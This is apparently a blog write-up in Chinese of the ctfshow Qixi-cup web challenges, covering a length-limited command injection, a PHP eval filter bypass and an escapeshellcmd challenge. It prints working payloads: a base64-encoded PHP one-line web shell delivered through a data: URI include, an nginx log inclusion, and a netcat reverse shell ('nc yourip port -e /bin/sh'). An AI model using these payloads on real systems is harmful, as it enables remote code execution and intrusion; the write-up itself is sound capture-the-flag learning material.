ctfshow 七夕杯 web

ctfshow 七夕杯

web签到

会执行命令,但没有回显

image-20220807132515749

同时js中限制了命令长度<=7

function isSafe(cmd)
{
    return cmd.length<=7;
}

直接用>(重定向符)到任意网址即可

ls />m

访问m可以下载结果

image-20220807132950981

读flag,cat太长,用nl代替

payload

nl /*>m

访问m

image-20220807133134314

easy_calc

给了源码

<?php

if(check($code)){
    eval('$result='."$code".";");
    echo($result);    
}

function check(&$code){

    $num1=$_POST['num1'];
    $symbol=$_POST['symbol'];
    $num2=$_POST['num2'];

    if(!isset($num1) || !isset($num2) || !isset($symbol) ){    
        return false;
    }

    if(preg_match("/!|@|#|\\$|\%|\^|\&|\(|_|=|{|'|<|>|\?|\?|\||`|~|\[/", $num1.$num2.$symbol)){
        return false;
    }

    if(preg_match("/^[\+\-\*\/]$/", $symbol)){
        $code = "$num1$symbol$num2";
        return true;
    }
    return false;
}

简单审计下就是分别输入num1、symbol、num2,然后把他们拼接起来放到eval中去执行,但是过滤了很多关键符号

由于()被过滤,所以要找一些不用()的函数,比如include

解法一(data协议)

思路也很清晰了,用include配合data协议直接传个一句话木马上去,然后命令执行即可

因为过滤了<>导致<?php不可用,利用base64绕过

payload

num1=include "data:text/plain,<?php eval($_GET['shell']);";&symbol=-&num2=123

num1=include "data:text/plain;base64,PD9waHAgZXZhbCgkX0dFVFsnc2hlbGwnXSk7";&symbol=-&num2=123
//注意symbol只能选-号,+号会拼接字符串

注意url处的空格要进行一次编码不然无法执行命令

image-20220807145444176

解法二(日志包含)

UA日志包含

payload

num1=include "/var/log/nginx/access.log";&symbol=-&num2=123

image-20220807191038357

easy_cmd

源码

<?php

error_reporting(0);
highlight_file(__FILE__);

$cmd=$_POST['cmd'];

if(preg_match("/^\b(ping|ls|nc|ifconfig)\b/",$cmd)){
        exec(escapeshellcmd($cmd));
}
?>

只能用四种命令ping|ls|nc|ifconfig

有个escapeshellcmd函数

image-20220807192624100

直接用nc反弹shell即可

?cmd=nc yourip port -e /bin/sh

image-20220807194250697

easy_sql

这个没搞出来...

posted @ 2022-08-07 19:48  phant0m1  阅读(391)  评论(0编辑  收藏  举报